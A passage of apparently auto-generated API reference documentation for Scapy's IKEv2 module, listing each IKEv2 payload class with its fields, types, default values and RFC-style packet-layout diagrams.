IKEv2_AUTH fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	auth_type

	ByteEnumField

	None



	res2

	X3BytesField

	0



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_CERT(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, cert_encoding=4, cert_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L874-L889]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CERT ENCODING |           CERT DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IKEv2_CERT                          


IKEv2_CERT fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	cert_encoding

	ByteEnumField

	4



	cert_data

	MultipleTypeField (PacketLenField, PacketLenField, XStrLenField)

	b''















	
class scapy.contrib.ikev2.IKEv2_CERTREQ(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, cert_encoding=0, cert_authority=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L866-L871]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CERT ENCODING |         CERT AUTHORITY        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IKEv2_CERTREQ                        


IKEv2_CERTREQ fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	cert_encoding

	ByteEnumField

	0



	cert_authority

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_CP(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, CFGType=1, res2=0, attributes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L847-L854]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CFGTYPE    |                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_CP                           


IKEv2_CP fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	CFGType

	ByteEnumField

	1



	res2

	X3BytesField

	0



	attributes

	PacketListField

	[]















	
class scapy.contrib.ikev2.IKEv2_Delete(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, proto=None, SPIsize=None, SPInum=0, SPI=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L717-L726]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROTO     |    SPISIZE    |             SPINUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IKEv2_Delete                         


IKEv2_Delete fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	proto

	ByteEnumField

	None



	SPIsize

	FieldLenField

	None



	SPInum

	ShortField

	0



	SPI

	FieldListField

	[]















	
class scapy.contrib.ikev2.IKEv2_EAP(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L894-L895]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_EAP                          


IKEv2_EAP fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_Encrypted(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L823-L824]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IKEv2_Encrypted                       


IKEv2_Encrypted fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_Encrypted_Fragment(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, frag_number=1, frag_total=1, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L857-L863]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          FRAG NUMBER          |           FRAG TOTAL          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IKEv2_Encrypted_Fragment                   


IKEv2_Encrypted_Fragment fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	frag_number

	ShortField

	1



	frag_total

	ShortField

	1



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_GSA(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L906-L907]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_GSA                          


IKEv2_GSA fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_GSPM(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L898-L899]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IKEv2_GSPM                          


IKEv2_GSPM fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_IDg(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L902-L903]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_IDg                          


IKEv2_IDg fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_IDi(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, IDtype=1, res2=0, ID=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L793-L805]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_IDi                          


IKEv2_IDi fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	IDtype

	ByteEnumField

	1



	res2

	X3BytesField

	0



	ID

	MultipleTypeField (IPField, IP6Field, XStrLenField)

	b''















	
class scapy.contrib.ikev2.IKEv2_IDr(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, IDtype=1, res2=0, ID=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L808-L820]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_IDr                          


IKEv2_IDr fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	IDtype

	ByteEnumField

	1



	res2

	X3BytesField

	0



	ID

	MultipleTypeField (IPField, IP6Field, XStrLenField)

	b''















	
class scapy.contrib.ikev2.IKEv2_KD(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L910-L911]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_KD                           


IKEv2_KD fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_KE(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, group=0, res2=0, ke=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L784-L790]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             GROUP             |              RES2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               KE              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_KE                           


IKEv2_KE fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	group

	ShortEnumField

	0



	res2

	ShortField

	0



	ke

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_Key_Length_Attribute(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L555-L564]

	Bases: IntField


	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L563-L564]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L560-L561]

	








	
class scapy.contrib.ikev2.IKEv2_Nonce(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, nonce=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L736-L740]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             NONCE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IKEv2_Nonce                         


IKEv2_Nonce fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	nonce

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_Notify(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, proto=None, SPIsize=None, type=0, SPI=b'', notify=b'', gw_id_type=1, gw_id_len=None, gw_id=None, nonce=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L743-L781]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROTO     |    SPISIZE    |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPI              |             NOTIFY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   GW ID TYPE  |   GW ID LEN   |             GW ID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             NONCE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IKEv2_Notify                         


IKEv2_Notify fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	proto

	ByteEnumField

	None



	SPIsize

	FieldLenField

	None



	type

	ShortEnumField

	0



	SPI

	XStrLenField

	b''



	notify

	XStrLenField (Cond)

	b''



	gw_id_type

	ByteEnumField (Cond)

	1



	gw_id_len

	FieldLenField (Cond)

	None



	gw_id

	MultipleTypeField (Cond, IPField, IP6Field, StrLenField)

	b''



	nonce

	XStrLenField (Cond)

	b''















	
class scapy.contrib.ikev2.IKEv2_PS(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L914-L915]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_PS                           


IKEv2_PS fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IKEv2_Payload(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L567-L579]

	Bases: _IKEv2_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IKEv2_Payload                        


IKEv2_Payload fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	load

	XStrLenField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L576-L579]

	








	
class scapy.contrib.ikev2.IKEv2_Proposal(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, proposal=1, proto=1, SPIsize=None, trans_nb=None, SPI=b'', trans=<Raw  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L593-L602]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PROPOSAL   |     PROTO     |    SPISIZE    |    TRANS NB   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPI              |             TRANS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IKEv2_Proposal                        


IKEv2_Proposal fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	proposal

	ByteField

	1



	proto

	ByteEnumField

	1



	SPIsize

	FieldLenField

	None



	trans_nb

	ByteField

	None



	SPI

	XStrLenField

	b''



	trans

	PacketLenField

	<Raw  |>















	
class scapy.contrib.ikev2.IKEv2_SA(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, prop=<Raw  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L729-L733]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PROP             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_SA                           


IKEv2_SA fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	prop

	PacketLenField

	<Raw  |>















	
class scapy.contrib.ikev2.IKEv2_TSi(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, number_of_TSs=None, res2=0, traffic_selector=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L693-L702]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| NUMBER OF TSS |                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        TRAFFIC SELECTOR       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_TSi                          


IKEv2_TSi fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	number_of_TSs

	FieldLenField

	None



	res2

	X3BytesField

	0



	traffic_selector

	PacketListField

	[]















	
class scapy.contrib.ikev2.IKEv2_TSr(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, number_of_TSs=None, res2=0, traffic_selector=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L705-L714]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| NUMBER OF TSS |                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        TRAFFIC SELECTOR       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IKEv2_TSr                          


IKEv2_TSr fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	number_of_TSs

	FieldLenField

	None



	res2

	X3BytesField

	0



	traffic_selector

	PacketListField

	[]















	
class scapy.contrib.ikev2.IKEv2_Transform(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=8, transform_type=None, res2=0, transform_id=None, key_length=2148401152)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L582-L590]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TRANSFORM TYPE|      RES2     |          TRANSFORM ID         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           KEY LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IKEv2_Transform                       


